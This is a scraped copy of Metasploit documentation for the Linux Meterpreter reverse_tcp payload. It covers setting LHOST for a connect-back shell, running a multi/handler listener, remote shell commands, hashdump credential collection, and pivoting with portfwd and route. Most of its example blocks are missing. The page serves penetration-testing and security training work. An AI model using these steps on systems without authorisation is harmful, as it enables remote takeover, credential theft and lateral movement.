CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/documentation/modules/payload/linux/x86/meterpreter/reverse_tcp.md
Views: 1904
linux/x86/meterpreter/reverse_tcp is the most popular payload against the Linux platform. It allows you to remotely take over the compromised system, having control of the file system, collect sensitive information such as credentials using post modules, etc.
linux/x86/meterpreter/reverse_tcp is also the default payload for most Linux exploits.
Vulnerable Application
linux/x86/meterpreter/reverse_tcp should work on either 32 or 64-bit Linux platforms.
Deploying linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/reverse_tcp can be used in two different ways.
As an exploit payload
Many Linux exploits support native payloads, but not always. To check this, you can use the info command on the exploit you want to use:
If the platform field includes Linux, then that means you can use linux/x86/meterpreter/reverse_tcp and other Linux payloads.
Sometimes, you need to select a specific target to be able to use a native Linux payload. To check this, do:
If there is a Linux target, use that:
To actually set the payload:
In msfconsole, load the exploit.
Do:
set PAYLOAD linux/x86/meterpreter/reverse_tcpSet the
LHOSToption, which is the IP the payload should connect back to.Run the exploit
As a standalone executable
To use linux/x86/meterpreter/reverse_tcp as an executable, first you can generate it with msfvenom:
Before sending the executable to the victim machine, you need to set up the handler on your end:
Start msfconsole
Do:
use exploit/multi/handlerDo:
set PAYLOAD linux/x86/meterpreter/reverse_tcpDo:
set LHOST [Your IP]Do:
run
And that should start the listener. When the victim runs the malicious executable, you should receive a session:
Important Basic Commands
Here is a list of some of the common commands you might need while using the Linux Meterpreter:
pwd
The pwd command tells you the current working directory. For example:
cd
The cd command allows you to change directories. Example:
cat
The cat command allows you to see the content of a file:
upload
The upload command allows you to upload a file to the remote target. For example:
download
The download command allows you to download a file from the remote target to your machine. For example:
ifconfig/ipconfig
ifconfig and ipconfig are actually the same thing. They allow you to see the network interfaces on the remote machine.
getuid
The getuid command tells you the current user that Meterpreter is running on. For example:
execute
The execute command allows you to execute a command or file on the remote machine. For example:
ps
The ps command lists the running processes on the remote machine.
shell
The shell command allows you to interact with the remote machine's terminal (or shell). For example:
If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel.
sysinfo
The sysinfo command shows you basic information about the remote machine. Such as:
Computer name
OS name
Architecture
Meterpreter type
For example:
Other commands
For a complete list of Linux Meterpreter commands, do the following at the prompt:
Using a Post module
One of the best things about Meterpreter is you have access to a variety of post modules that "shell" sessions might not have. Post modules provide you with more capabilities to collect data from the remote machine automatically. For example, stealing credentials from the system or third-party applications, or modify settings, etc.
To use a post module from the Meterpreter prompt, simply use the run command. The following is an example of collecting Linux hashes using post/linux/gather/hashdump:
Note that in order to collect Linux hashes, Meterpreter needs to run as root.
Using the Post Exploitation API in IRB
To enter IRB, do the following at the Meterpreter prompt:
The client object
The client object in Meterpreter allows you to control or retrieve information about the host. For example, this allows you to get the current privilege our payload is running as:
To explore the client object, there are a few tricks. For example, you can use the #inspect method to inspect it:
You can also use the #methods method to see what methods you can use:
To review the source of the method, you can use the #source_location method. For example, say we want to see the source code for the #getuid method:
The first element of the array is the location of the file. The second is the line number of the method.
Routing Through the portfwd Commands
The portfwd command allows you to talk to a remote service like it's local. For example, if you cannot talk to the blocked HTTP service remotely on the compromised host due to whatever reason, then you can use portfwd to establish that tunnel:
And then talk to it like it's a local service:
Routing Through msfconsole
The route command from the msf prompt can also be used like portfwd, but it also allows you to reach out to other networks that the compromised host is connected to.
To use route, first look at the ipconfig/ifconfig output and determine your pivot point:
Make sure you know the subnet, netmask, and the Meterpreter/session ID. Return to the msf prompt, and establish that route:
At that point, you should have a working pivot. You can use other Metasploit modules to explore or exploit more hosts on the network, or use auxiliary/server/socks4a and Proxychains to allow other third-party tools to do the same.